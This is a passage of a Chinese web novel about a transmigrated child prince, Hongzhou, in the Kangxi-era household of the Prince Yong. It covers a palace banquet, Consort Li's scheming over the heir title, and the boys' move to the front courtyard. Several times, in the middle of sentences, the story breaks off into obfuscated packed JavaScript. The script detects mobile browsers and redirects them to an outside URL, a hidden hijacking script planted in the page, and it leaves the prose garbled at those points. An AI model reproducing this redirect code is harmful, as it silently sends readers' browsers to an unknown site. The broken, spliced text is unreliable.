康熙的右手上盘着一串佛珠,他伸出左手在离得近的弘昼脑袋上摸了摸:“你是弘历还是弘昼?” 两个孩子都是两岁,年岁相差不大导致体型也相差不多。康熙知道这两个孩子的名字,但却有些对不上人,方才行礼的时候这俩孩子也没有自报家门。 “回皇玛法的话,我是弘昼。” 弘昼也不怕,滴溜溜的黑眼珠子往康熙的身上看。自己现在还小,就算失礼一些也不会被计较。这可是皇帝,封建王朝的第一人,这次有机会就近瞧瞧肯定要多看看,以后说不定就没有这个机会了。 “那这个就是弘历了。”康熙的目光转向弘历,左手也摸了摸弘历的脑袋。 四爷在下面看到了康熙的动作,眼中闪过了一抹喜色。 摸了摸两个小孩子的脑袋之后,康熙注意到了弘昼盯着自己的目光,问道:“你看着皇玛法做什么?” 这孩子的年纪不大,看着自己的眼神也很是清澈,加之又是自己的孙子,这才让康熙不至于生气。若是换了旁的,康熙此刻怕是已经开始皱眉了。 “因为之前没有见过皇玛法。”弘昼一点也不怯场,他看着康熙说道。 康熙甚少见到不怕自己的孩子,之前养在妃子身边的孩子大多都被教得极为礼貌规矩。即便是有性子胆大些敢冲着自己撒娇的,也多是自己先宠着,那人后面才有这样的胆子。 从八岁起,已经当了四十多年皇帝的康熙已经很少见到不怕自己的人了。这也让他对弘昼的话来了些兴趣。 “为何没见过就要瞧?你从前没见过没有一个人都要盯着看吗?” 弘昼立刻摇了摇头说道:“因为皇玛法是阿玛的阿玛。” 康熙好笑,发觉自己有些不懂小孩子的逻辑了。 “因为是阿玛的阿玛所以要盯着瞧?” 弘昼点了点头:“阿玛对我和哥哥好,所以我们要对阿玛好,也要对阿玛的阿玛好。” 这稚嫩的童语逗得康熙笑了出来,看向弘历:“你也是这样想的?” 弘历迷茫地眨了眨眼,也跟着点了点头。 孩子说话不讲什么逻辑,但却将康熙逗乐了。这么多年来,能到他面前的皇孙都是已经五六岁了的,而五六岁的孩子已经足够人将他教得懂事知礼了。 即便是再顽皮的孩子在康熙的面前也都是乖巧的,大多数是不敢放肆的。 这样千篇一律的懂事多了,见到了这样稚嫩的孩子,康熙只觉得更喜爱了。 “既然你们要对阿玛的阿玛好,那过几日和你们阿玛一起进宫来给皇玛法请安好不好?”康熙笑看着两个孩子,他觉得两个孩子有趣,但今日这样的日子又不能将两个孩子带着在身边。 倘若他今日将弘历和弘昼带在身边一整日,怕是明日就有投诚的大臣走进雍亲王府了。 见两个孩子乖乖点了点头,康熙心中高兴,当即大手一挥就给了赏赐。 弘昼听得高兴,额娘知道自己得了皇玛法的赏赐一定会很高兴的。 下面的众人虽然听不清上面的谈话,但都看到了康熙的笑。一个个面上不说,但心中心思各异。 九爷轻轻呸了一声,对着十爷小声道:“瞧老四那个样子,嘴都要 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这些天额娘经常叫他去东侧院,次数几乎是从前的两倍了。耽误了他好多和堂兄们的聚会,一切都是因为这两个小子。今日这两个小子在皇玛法那里露脸之后,额娘接下来的日子必然会叫他更多次。 这让他想想就觉得烦躁,但又不能不去。 大殿内人心浮躁,弘昼不知道已经有不少人心中在想着自己和四哥了。他看着阿玛桌案上色香味俱全的饭菜,哈喇子都要流了下来。 这几个月他已经长出了好多颗牙,也开始吃一些清淡的饭菜了。这些清淡的饭菜和之前的羊奶米糊比起来自然是不可多得的美味,但是这些也不能和现在四爷桌子上的饭菜比。 看着酱汁丰盈的肘子,汤清澈见底的炖羊肉,还有上面撒了粒粒孜然的烤牛肉,这些菜一道道都在诱.惑着弘昼。 弘昼觉得自己宛如一个在干旱沙漠上看到甘霖的旅者,在自己都没有注意到的时候就用手拿起了四爷桌上的大肘子。 25. 第 25 章 第25章 等四爷发现的时候,就看到自己的小儿子手里正拿着一个同他脸一般大小的肘子,努力地啃咬着。 肘子被啃的倒是不多,毕竟弘昼的嘴巴小但看着那嘴边的酱汁,四爷只觉得一阵阵地好笑。 弘历似乎也被惊到了,看着弘昼半晌,小声问道:“弟弟,这个好吃吗?” 一边问,一边往四爷的案几上看。似乎只要弘昼说一声好吃,他便立刻上前将另外的菜品扒拉过来。 听到四哥的声音,弘昼的脸唰一下就红了。他看着手中对自己而言有些沉重的大肘子,嘴里酱汁的味道还没散去,又看了看四爷的脸色。 平日里耿执羽用膳都是避着弘昼的,她发现自家儿子似乎对大人的饭菜很感兴趣。但是他们的岁数,还不能吃这些,便只能在用膳的时候将弘昼打发给奶嬷嬷抱着去玩。 弘时的眼睛中闪过了一丝幸灾乐祸,这到底是上不得台面的东西,方才受了夸奖,这会儿就又把雍亲王府的脸都丢尽了。 阿玛平日里是最看重这些的,想来他现在心里也有些嫌弃。 但出乎弘时预料的是,四爷脸上并未露出嫌弃之色,而是从怀中掏出了一块帕子仔仔细细将弘昼的脸擦干净。 又命人把那盘肘子端下去,叫了人打了水过来将弘昼的手也洗净了后,才说道:“你年岁还小,不能吃这些,阿玛已经叫人去煮了粥,马上便能端过来了。” 他只以为这是孩子饿了,所以才会这般突然将肘子抱起来啃。自己额娘是个什么性子他很清楚,不太像是会为了他的孩子考虑周到的人 弘昼依依不舍地看着那盘被撤下去的肘子,舔了舔自己的唇,似乎还能尝到肘子在嘴中散发的酱汁味。但他也知道自己刚才的行为已经是有些过了,便只能含泪乖乖点了头。 旁边的恒亲王被这一幕逗笑了,调侃道:“怕是今日进宫请安累着了,这才看见吃的就忍不住了。” 四爷平日和这位五弟的关系还算不错,闻言笑了笑:“稚子年幼,让五弟看笑话了。” “诶,四哥可别谦虚了。”恒亲王笑道,“能得汗阿玛看重的孩子可不多见,如今不过是年幼纯真罢了,也莫要苛责孩子。” 说着转头看了看自己带着的三个儿子,大的那个都已经娶福晋了,小的娶福晋也是在这两年了,偏偏都不算出众。别说被汗阿玛看重了,只怕汗阿玛都不一定能记得他们的名字。 四爷淡笑不语,他若是借着这个话题说下去就有炫耀的嫌疑了。 诚亲王胤祉看着这边,轻轻哼了一下。老四和老五还是这样子,老四自幼便是板着这张阎王脸,今日瞧着倒是缓和了些。想来前几年子嗣不丰,老四没少被人议论,如今倒是抬起头来了。 没过多久,专门给弘昼还有弘历煮的粥就被端过来了。两位嬷嬷蹲着身子伺候这两位小阿哥用膳,弘昼一边看着阿玛桌案上的菜色喝一口粥,平日里已经喝习惯了的东西不知为何今日格外的难喝。 古代的宴席和弘昼想象中的不一样,在他的想象中这样宏达的场面应当是每个人坐在自己的位置上,听着上面的皇帝发表一些感言之后安安静静吃菜,毕竟古代不是有什么食不言的规矩嘛。 但实际上,弘昼在这坐着看到了一拨又一拨的人给自己阿玛敬酒。还有些皇上看重的人去给皇上敬酒,今日在永和宫看到的那个小屁孩的阿玛十四贝勒也去了。 不过,这些人过来敬酒就敬酒,为什么每个人都要摸一摸自己或者四哥的脑袋? 乖乖坐在阿玛身边的弘昼刚开始时还兴致勃勃观察着周围的场景,可看久了也没兴趣了。小孩子比不得大人,即便弘昼的灵魂是个大人,但身体到底还是小孩子,坐在这坐久了就开始犯困了。 开始的时候是脑袋一点一点的,然后猛然往下一滑清醒了。随后便用手撑着下巴,眼睛要闭不闭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990888|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若非还记得自己在太和殿,上面的就是皇上,弘昼几乎立刻就要睡着了。 从前熬夜是家常便饭,但是自从穿越过来后弘昼最不缺的就是睡觉的时间了。每日都睡得足足的,现在根本熬不了夜。 又一次脑袋滑落醒了之后,弘昼四处看了看,见到四哥也正犯着困。眼睛似乎是蝴蝶的翅膀一般,一直在眨啊眨的,似乎想要通过这个动作将困意都驱赶出去。 和过来的一位大臣喝了一杯酒后,四爷注意到了这两个孩子的模样,想到他们去年方才一岁,在府中怕是耿氏和钮祜禄氏都不曾让他们守岁。又见他们犯困的模样也十分可爱,不仅生不出怒气,反而还多了点怜惜。 “苏培盛,”四爷微微抬了抬下巴,“将两位阿哥抱出去,抱到……马车上去睡一会儿吧。” 这个年纪的小阿哥出门,下人都是要拿被包的,所以即便在马车上睡觉也不会冷。与其现在送去永和宫,不如直接送到马车上了。 “奴才明白。”苏培盛应了一声,马上便叫了弘历和弘昼的两个乳母过来将他们抱出去。 弘时撇了撇嘴,他幼时也不见汗阿玛这般上心啊,原以为汗阿玛只会对二姐姐上心的。 被郑嬷嬷抱起来的时候弘昼还挣扎着睁开了眼睛,但没过多久就又闭上了。他发现一旦他困意来了,便电池没电了一般,直接就是要死机了。 抱上马车的时候也没醒,张嬷嬷和郑嬷嬷坐一辆车。她们各自拿出了白天收拾好的被包,将小阿哥厚厚裹了起来,如今冬日里若是着了凉可是容易得风寒的。 小孩子若是得了风寒发了高烧,那就危险了。 今日折腾一日,弘昼已经累极了,后来马车启动甚至被抱回自己卧房的时候弘昼都没有醒。 等弘昼醒来看到的就是熟悉床幔,翻身将脑袋埋在自己的被子上面嗅了嗅,闻到了熟悉的气息才罢休。 “咱们小阿哥醒啦。” 26. 第 26 章 第26章 郑嬷嬷看到弘昼醒来,一张嘴便扬起了一抹笑,她的脸白白嫩嫩的,五官虽称不上精致但也端正,身材较为丰腴,笑起来的时候显得很是慈爱。 一边笑着一边手脚麻利地将弘昼换好了衣裳,安抚道:“格格用膳去了,咱们小阿哥马上就能见到了。” 想着自家小阿哥从出生以来就没离开过格格一日,昨日自个儿在宫里待了大半天,想来也应该会想额娘了。 弘昼仰着脸任由伺候的人给他擦,刚刚醒来的他还有些迷茫。 直接一觉睡到了大天亮,不愧是自己。 没过一会儿,耿执羽便从外面进来了。今日是大年初一,四爷和福晋早早地就进宫了,他们除去除夕的宫宴外,今日还有很多祭祀之类的事情。 这些祭祀的事情,连两位侧福晋都没有资格去。 昨日郑嬷嬷将弘昼抱回来的时候,已经是过了子时了。耿执羽当时不仅没有睡,还很是精神,心里一直担忧着弘昼还未正经学过规矩,若是冒犯了宫里的贵人可怎么是好。 一边心里埋怨自己平日里没想着教孩子点规矩,一边又有些怨念四爷若是要弘昼进宫为何不早说,只要早个两三日,自己定能将弘昼教好。 可偏偏在进宫当日才说,直接打了自己和兮兰姐姐一个措手不及。 直到四爷和福晋的马车归府,看着郑嬷嬷抱着弘昼平安归来,耿执羽的一颗心才总算放回了肚子里。又亲自守了儿子大半夜,生怕在这样的冬日里将孩子抱进宫会因此着了风寒。 弘昼仰起头来,看着额娘眼底即便已经用腌制水粉掩盖,却没有完全掩盖去的乌青。 伸出手朝着额娘撒娇:“额娘,我昨日里好想你呀~” 耿执羽一把将孩子搂进怀中,一边走一边笑道:“昨日在宫里好玩吗,可曾见到了你玛姆?” 耿执羽没有去过这样的宫宴,但多少也是听说过的,像弘昼这个岁数的小孩子应当是不用跟着四爷去太和殿的。 昨日弘昼回来只顾着看着孩子,匆匆问了两句郑嬷嬷,弘昼有没有冒犯到贵人或者有没有受委屈,得到否定的答案之后,便不曾过多过问其他。 “见到啦,”弘昼趴在额娘的肩膀上,“我还看到了皇玛法。” 耿执羽走路的步子一顿:“皇玛法?” 弘昼将昨日经历的事情一五一十说了,耿执羽微微垂眸,心下若有所思。 原本按照自己的身份,日后弘昼去考封只能得一个三等辅国将军。 可若是皇上看中的话,日后说不得能封个贝勒郡王,那才真是一辈子都不用愁了。 和硕亲王的子嗣,除却立的世子之外。嫡子考封可考不入八分辅国公,侧福晋之子可考二等镇国将军。而其余的格格侍妾之子,考封就只能考三等辅国将军了。 虽说都是不入八分的宗室,但是高一级所获的俸米,以及平日里所享的待遇可截然不同。 弘昼倒是看不出额娘心里在盘算着什么,只是看着自己眼前这些清淡的菜和肉,深深叹了一口气。 这些菜和肉都是最新鲜的,送到雍亲王府的时候,菜上还有着露珠,而肉则是今晨现杀的。 这样的东西,即便只是水煮了,应当也不会难吃。 但昨日尝到了两口,那满嘴油香的肘子,如今吃着这个,便越发觉得没有滋味了。 心里盘算着自己到底什么时候可以长大一些不必忌口,一边忧伤地等着嬷嬷给自己喂饭。 正月十五一过,新年便算过去了。富里挂着的那些红绸窗花都被纷纷取了下来,原本新年中伺候的剩女头上多带的两根簪子也都收了回去。 四爷自那日太和殿之后,对弘昼和弘历两个小孩子是越发看重了。 如今回府后,除却去年侧福晋的西侧院之外,就是来泗水院和玉池院两个地方看孩子。 弘昼见到这位阿玛的次数也开始逐渐上升,甚至有时候一日里能见上两次。这可是之前没有的,之前最多的时候也就是三四天见一次的。 对于四爷总是往两位格格院中跑这件事,福晋无所谓,年侧福晋坐得住。只有李侧福晋,听说白日里四爷经常去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990889|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位小阿哥,咬得牙都要碎了。 这段日子叫弘时回来的时候,她就问过了。这些日子四爷连检查弘时功课都不积极了,从前是日日都要查了,如今都改成了两三日里查一回。 “都说了你让平日里多用功些,”李侧福晋伸出食指戳了两下弘时的脑袋,“若是平日里用功了,你阿玛又岂会不在意你的功课。” 弘时不耐地往后仰了仰:“额娘,儿子平日里已经很用功了。只是这功课也不是一朝一夕就能学好的,总要慢慢来的。前两日先生还夸了我呢,这总不能说我功课学得不好吧。” “先生夸你了?”李侧福晋迟疑片刻,“既是夸你了,你应当更用功些才是。这些日子你也少出去和你的堂兄弟们搅和,你阿玛既然不喜欢,那咱们便少去两回。” “额娘你懂什么?”弘时不耐,“我已然是十岁了,过几年便是娶福晋办差的时候了。届时办差难道不需要人情往来吗?只有这年纪尚且不好的时候和兄弟们打好了关系,日后才好互相帮扶,况且我来往的又不是什么上不得台面的,都是日后要当世子的人。” 李侧福晋也不太懂自己儿子在外面是怎么一回事,听他这样说也就信了,蹙着眉低声道:“不是不让你同他们往来,而是最近要低调些。眼看着你阿玛往那两个贱人的院子中去得越发勤了,你若是还不上进,万一你阿玛起了将世子之位给那两个的心思呢?” “这怎么可能,”弘时似是听见了什么不可思议的话,笑道,“额娘实在杞人忧天,我是长子,额娘又是侧福晋,长了他们足足七八岁呢。阿玛怎么可能起这个心思,不过是看他们年幼喜欢,多看两眼罢了。” 这话让李侧福晋急了,一叠声道:“你别不放在心上,你阿玛这个人素来是爱之欲其生恶之欲其死,若是你当真让他恶了你,那他是真能做出这种事的。” 见弘时还是一副不在意的神色,李侧福晋咬了咬牙。 “上回我跟你阿玛提过立世子的事情了。” 弘时脸上不在意的神色一下子就收敛了,猛地转过头来看着李侧福晋。 27. 第 27 章 第27章 弘时一直不曾将那两个弟弟放在心上皆是因为自己是长子,按照礼法来说在没有嫡子的情况下世子之位本来就应当是自己的。况且比起不知道日后能不能养大的两个弟弟来说,自己已经快十岁,过个两三年便能请皇玛法指个福晋了。 这些都是他的优势,那两个不论是聪慧还是愚笨,都动摇不了他的身份。 每次来额娘这里听那两个弟弟和他们额娘的坏话,弘时也不曾在意。但现在额娘提到了世子之位,那可就不同了。 他在诸位堂兄弟的面前隐隐已经在以世子之位自居了,倘若阿玛改立了其他人,他日后如何在堂兄弟的面前立足? 想起素日和自己不睦的那几人若是知道此事后可能对自己的冷嘲热讽,弘时觉得自己的拳头都硬了,绝不能允许这样的事情发生。 李侧福晋见弘时脸上的神色郑重了后,她反而不急了。慢慢悠悠地喝着自己手中的一盏茶,似乎没见到弘时愈加急切的眼神。 “额娘,”弘时凑近了些,摇着李侧福晋的衣袖如小时候一般撒娇,“您和阿玛都提了什么?” 李侧福晋微微抬头,梅枝看见了自家主子的眼神,连忙一挥手,屋内伺候的人便纷纷走了下去。 见人都出去了,李侧福晋才将手中的茶盏放下,低声道:“你以为额娘为何这段时日这般劝你好好念书?上回我不过提了一句世子之位,尚且还没说什么呢,你阿玛就发了大火。料想这几年来你阿玛应当是不会立世子了,既然这几年不立,那过几年那两个小崽子就长大了。” “他们长大后,你阿玛若是疼爱幼子,难免不会有改立之心。额娘年岁愈加大了,新进来的年氏又是个狐狸精勾得他不往我这东侧院走,日后怕是在你阿玛那里也说不上话。倘若你功课不好,岂非又会加重了你阿玛改立的心思?” 弘时听见额娘的话,眼睛一点点地睁大。 他其实心里私下揣测过阿玛什么时候向皇玛法请旨,立自己为世子。若是成为了世子,那便能领俸禄了,亲王世子的俸禄与贝子是相等的,待遇也不算差了。 不过是想着连三叔家中的弘晟堂哥都没有立世子,自己阿玛行四,不想越过兄长也是有的,这才没有将自己立为世子。 不过和其他叔伯家中的子嗣众多不同,雍亲王府自他懂事开始便只有他一个阿哥,所以他从未想过这世子之位还有可能落在其余的地方。 若是阿玛心中是属意自己的,为何会对额娘发火,又为何会在这些时日这般冷落额娘呢? “额……额娘,”弘时心下转了好几个弯,最后说道,“额娘为孩儿好,孩儿都是知道的,日后定当勤勉念书,不叫额娘操心。” 李侧福晋的手拉着弘时的手:“你如今年岁渐大了,又在外头走动,自然见的听的要比我这困在深宅大院的人多。可是额娘也非一无是处,猜你阿玛的心思,这么多年来我从未猜错过几回,所以这方面你一定要听我的。不仅要好好念书,和堂兄弟们的走动也不必太勤了,若是有什么拿不准的回来说与额娘听听,好歹也帮着你一起参谋参谋。” 弘时本想反驳额娘所说的少与堂兄弟们走动,但转念一想自己又何必与额娘起冲突呢?反正这一个月中来后院的次数少之又少,只要敷衍敷衍额娘就是了。 “知道了额娘,孩儿明白的。” 见弘时乖乖地应了,李侧福晋面上才开始展露笑意:“这才对,你只要好好听话,不论是什么弘历还是弘昼都是越不过你去的。” 小孩子迎风长,深宅大院的日子数着过倒也还算快,转眼间春日的满园花团锦簇变成了秋日里的菊花蟹黄,又变成了冬日里的残叶飘零,很快迎来了弘昼三岁的生日。 “兮兰姐姐,你说孩子生下来的时候这么小一团,好像还在前几日似的,怎么这一转眼就能跑能跳的了,甚至翻过年去就要搬到前院去跟着爷念书了。” 耿执羽透过窗看着和弘历玩耍的弘昼,语气中带了几分惆怅。 钮祜禄格格手中纳鞋底的动作不停,一边笑道:“小孩子是长得快,这段日子你和弘昼相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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28 章 第28章 察觉到耿额娘的动作,弘历诧异地看了过来,奶声奶气问道:“耿额娘为什么要打自己呀。” 弘昼听见这话,也停下了喝水的动作看向自家额娘。 耿执羽无奈地叹了口气,笑道:“没事,耿额娘只是想到了别的事情。” 总不能直接说看见自家儿子养成这样,觉得心累吧。虽说耿执羽更喜欢弘历的行事,但自家儿子就是自家儿子,若是这样在大庭广众之下说出来伤了弘昼的心可怎么办。 钮祜禄格格抿唇笑笑,她倒是知道耿妹妹是为何如此,但这话就不适合在小孩子的面前讲了。 见两个孩子已经放下了水杯,耿执羽扭头看向钮祜禄格格笑道:“兮兰姐姐,今日我便带着弘昼先回去了,四爷命我们自己给弘昼布置内室,还要回去挑家具的花色呢。还有福晋明儿派了人牙子来,让挑选弘昼院中伺候的人。” “去吧,我这也还有一堆要忙的。”钮祜禄格格起身相送。 等他们走后,弘历看着自家额娘问道:“我要离开额娘了吗?” 去前院的日子,四爷是直接定下来之后派人来告诉她们的。钮祜禄格格也是前几日才知道已经定下了日子,虽说在弘历满三岁的时候就料想到了必然会有这一日,但这一日的到来还是令她有些惆怅。 挥了挥手,鸾晴会意地带着伺候的人走了下去,将屋内的空间留给了这一对母子。 钮祜禄格格将弘历抱在了膝上,轻轻地亲了一口弘历的脸蛋:“我们小弘历可知道自己的身份?” “知道,”弘历的眼神清澈,“我是额娘和阿玛的孩子,在家中排第四,也是弘昼的哥哥,还有……” 这稚嫩的言语听得钮祜禄格格发笑,静静等弘历说完后才道:“对,你是阿玛和额娘的孩子,是雍亲王府的四阿哥。在这府中,小阿哥们在满了三岁之后都是要迁到前院去让你阿玛一齐教导的,咱们弘历也不例外。” “那……”弘历想了想,“弟弟是不是也要去?” “对,弟弟也要去。”钮祜禄格格摸了摸弘历的脑袋说道,“等过完年,你和弟弟都要一起搬去前院。到时候要跟着你们三哥一起念书,还会有专门的先生来教导你们,也能经常见到你们阿玛。” 说到这里,钮祜禄格格有些惆怅。这十月怀胎生下来的孩子,如今才养了不过三年,就要送走了。虽说日后也能回来请安,但每月请安三五回便不错了,哪能如现在一般日日得见。 “那额娘呢?”弘历看着钮祜禄格格,“能经常见到阿玛,那还能像这样日日见到额娘吗?” 弘历的年纪不大,但对人的情绪有些天生的敏感。他察觉到了额娘现在的情绪似乎有些不对,但他不懂这是什么情绪,也不知道额娘为什么会这样,只是下意识问了这一句。 “额娘……”钮祜禄格格笑了笑,这笑容里带着点无奈,“日后不能像这样日日见到额娘了,不过可以隔三岔五回来请安。到时候你就和弟弟一起回来,给额娘还有你耿额娘请安。日后你在前院,切记要好好念书,只有念书念好了,你才能在你阿玛心中脱颖而出。” 弘历回抱着额娘,小声说道:“额娘,我会好好念书的,到时候一定给额娘争光。” “好孩子。”钮祜禄格格摸着弘历的小脑袋,唇边的笑意越发的明显了,心中也升起了些欣慰。 不同于玉池院中的温馨,泗水院中表达情感的方式一向没有这么细腻。耿执羽带着弘昼回来后,便看起了家具册子,一样一样将东西挑好了,又开始打点弘昼过些日子要带去前院的东西。 弘历和弘昼的年纪还小,带些玩具去前院也没什么。但耿执羽怕带太多了会让爷觉得弘昼玩物丧志,便将弘昼素日里最喜欢的那几件拣出来预备着给他带去,其余不那么喜欢的就仍旧留在泗水院中。 怕弘昼不乐意,耿执羽还哄道:“若是一下带太多了怕你阿玛不高兴,咱们留些在这里,日后你回来给额娘请安的时候还能玩。便是后面想要带着去前院,也可以慢慢一点一点地带过去。” 弘昼很理解地点了点头:“额娘放心吧,我不会闹的。” “乖孩子。”耿执羽笑着想要将弘昼抱入怀中,但弘昼一被抱着便宛如泥鳅一样好动,左扭一下右扭一下,直到挣脱了束缚才停止,让耿执羽原本的一腔母爱变成了无奈,轻轻敲了一下弘昼的脑袋。 弘昼被敲脑袋倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990891|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是也不生气,捂着头嘿嘿笑。 耿执羽看着自家儿子无奈笑了声,挥了挥手伏云和娑鸣很自然地退了下去。 弘昼疑惑地看着自家额娘,伏云和娑鸣是额娘的心腹,不论什么时候都有其中一人在场。像这样将两人都叫出去的时候极少,也不知道是不是有什么要对自己说的。 “你从小就在额娘的身边,额娘看着你长大,”耿执羽星眸中含着不舍,“可这三岁去前院的规矩是你阿玛定的,咱们便只能遵守。日后你到了前院,额娘也不在乎你是不是念书好不好,功课是否上佳,只要你能好好的就行了。到了前院,三阿哥性子有些霸道,无事不要去招惹你三哥。若是有事,定要派人回来告知额娘。” 在最开始的时候耿执羽是想着若自家儿子能考封回来,到时候自己也能有福气被接出去当个含饴弄孙的老太太。可后来,从请来的女先生那里得知了念书的辛苦,若要有所成,必要十年寒窗不舍昼夜才行。 可弘昼的身份便是日后不去考封,也断然不会饿着。又得知了念书这般辛苦后,耿执羽便舍不得叫孩子多用功了。若是弘昼自己喜欢念书,那不必多说便也会自己努力学,若不喜欢,拿着身为母亲的难处去压他是断断不能的。 这样想着,耿执羽眼中的不舍更重了:“等过了几日便要挑你身边贴身伺候的人了,到时候这些人要跟着你去前院,你年岁太小了,若是这些人有什么不妥当的只管告诉额娘和你阿玛,莫要被欺负了去。” “我知道了额娘,”弘昼安静了下来,看着额娘眼中的不舍和难过,“我一定会好好照顾自己的。” “去了前院要懂事些,听你阿玛的话。对了,不要和讲课的先生对着干,还有要记得多吃饭,小孩子吃得多才能长大,切切不要再挑食了……”耿执羽一句句地嘱咐着,想到了什么就说什么,东一句西一句的听起来不太有逻辑,但弘昼一直认真听着。 直到听到了最后的这一句,弘昼看着额娘现在的表情觉得自己现在不适合提出抗议。但他还是在心底抗议,他才不挑食呢,只是不爱吃那些少油少盐没滋没味的菜和饭。 很快地,这新年就过完了,弘昼和弘历也被打包一起送到了前院。 29.第 29 章 第29章 搬家这日是四爷亲自将弘历和弘昼带到前院的,他们如今年纪还小便住在了一个院子中。让伺候的人好照料,也让他们能多培养些兄弟之情,等日后年纪大些了再将其中一人搬出去。 弘昼住的卧房布置得不错,家具都是新打的,摆件也大都价值不菲看得出是下了功夫的。而弘历则住在了弘昼的隔壁,摆设和弘昼那间相差不大,只是有些细微的不同,两间屋子离得不远,几乎是弘昼只要从床上起来走上几步就能到的距离。 被带到前院的弘昼本来以为自己就要正式步入上学的生活了,从前那种每日里听先生讲一个时辰故事的日子将一去不复返,要变成天亮就要坐在学堂直至太阳西斜才能回去休息的生活。 但在前院待了两日之后,弘昼发现自己的日子和从前相比变化不大。 依旧是每日里睡到自然醒,起来用过早膳后跟着四哥玩一会儿,下午再听先生讲一个时辰的课,余下的时间便能自己找地方玩儿去了。 除却将住的地方搬到了前院,不能日日见到额娘但几乎能日日见到阿玛外,其余的都没有什么变化。 所以弘昼很快就适应了,这和前世上寄宿学校区别不大。而且前世的寄宿学校要一个月才能回家一次,但自己住在前院隔几日就能回去看看额娘,根本就不存在不适应这个问题。不过他还是在心中腹诽,和从前没有什么区别的生活为什么还要专门搬到前院来。 但弘历却有些不适应,他毕竟内里是真小孩子。虽说身边有着熟悉的张嬷嬷陪着,但一醒来看不见额娘还是觉得有些委屈。但他又不敢说,只能被被子里呜呜咽咽的,甚至都不敢与伺候的人提上一两句。 张嬷嬷倒是知道,毕竟每日里都要瞧着小主子睡觉的,她多少明白这是小孩子舍不得娘,但也不敢去哄。自家这位小主子是个倔强的性子,蒙在被子里偷偷哭就是不想别人知道,若是前去哄了还要生气,只怕自己也要吃挂落。 只能往玉池院走了两遭,向钮祜禄格格禀报了几回。 钮祜禄格格心疼,但也只能盼着这两日哭过了就算了。男子到底还是要养在前院的,养在阿玛的手底下能多生出些感情是其一,平日里四爷带着孩子的见的世面也是最重要的。多看了阿玛办事,日后办差才不至于慌乱。 这件事弘昼原本是不知道的,但有一回来找弘历的时候来得匆忙,虽然见到他的时候他已经将脸上的泪痕擦得干干净净,但眼角鼻尖的微红是骗不了人的。 又见旁边伺候的人皆是正常的,弘昼歪了歪头疑惑道:“四哥你怎么了,是不是有人给你气受了?” “你们都下去吧。”弘历吸了吸鼻子,发号施令的犹豫期一点也不显得威严,反而有些可怜巴巴的。 屋内伺候的人听了话都纷纷走了下去,直到大门关上发出了吱呀的声音。 “弟弟,”弘历红着眼睛问道,“你不想耿额娘吗?” 听见这话,弘昼立刻便明白了是怎么一回事,笑嘻嘻道:“想啊,不过额娘说只要隔上五日就能去给她请安了,咱们都已经搬来前院三天了,后天就能回去见到额娘了呀。怎么了,四哥你是想钮祜禄额娘了吗?” 弘历听到这话,瘪了瘪嘴又吸了吸鼻子,语调中还带了点哭音:“是啊,我好想额娘,我想回去看额娘,但是嬷嬷不让我去。” 看着自家四哥可怜兮兮的模样,弘昼再一次觉得将这么小的孩子弄到前院去有点反人类。况且三岁的孩子能学会什么,每天听着先生讲一讲故事吗? “没事啊,”弘昼很自然地在四哥脑袋上薅了一把,“等明天的明天咱们就能回去见额娘了,到时候四哥就能见到钮祜禄额娘了,咱们现在先不要想额娘,出去玩好吗?” 既然张嬷嬷不让四哥回去,想来是钮祜禄额娘吩咐过的。弘昼只能想办法转移话题,让四哥和自己出去玩,将额娘这件事暂时抛之脑后。 弘历最开始的时候还有些兴致缺缺的,但等弘昼真带他玩起来之后果然将想念额娘暂且抛到了脑后,随着五弟一起快乐地进行一系列的追逐打闹的游戏。 见自家小主子总算不闷闷不乐了,张嬷嬷这才松了口气。 书房中,四爷听着下面人的禀报。 “四阿哥最开始的几日是有些思念钮祜禄格格的,但被五阿哥带着玩了好几日,五阿哥又去四阿哥的房中陪着他一起睡,这几日倒是没有表现出……” 下面汇报的人是弘昼和弘历院中的一个小厮,这两个孩子屋中伺候的人是从后院带着过来的,但院内那些杂活和洒扫的事情就是四爷安排的人干了。 虽说这两个孩子搬过来的这两日中四爷见他们的时候不多,但也是每日都抽出了点时间去看了的,更是每日都会让他们院中人过来汇报他们今日做了些什么。 “退下吧。”四爷听完小厮的禀报并未多说什么,只是让他退下了。 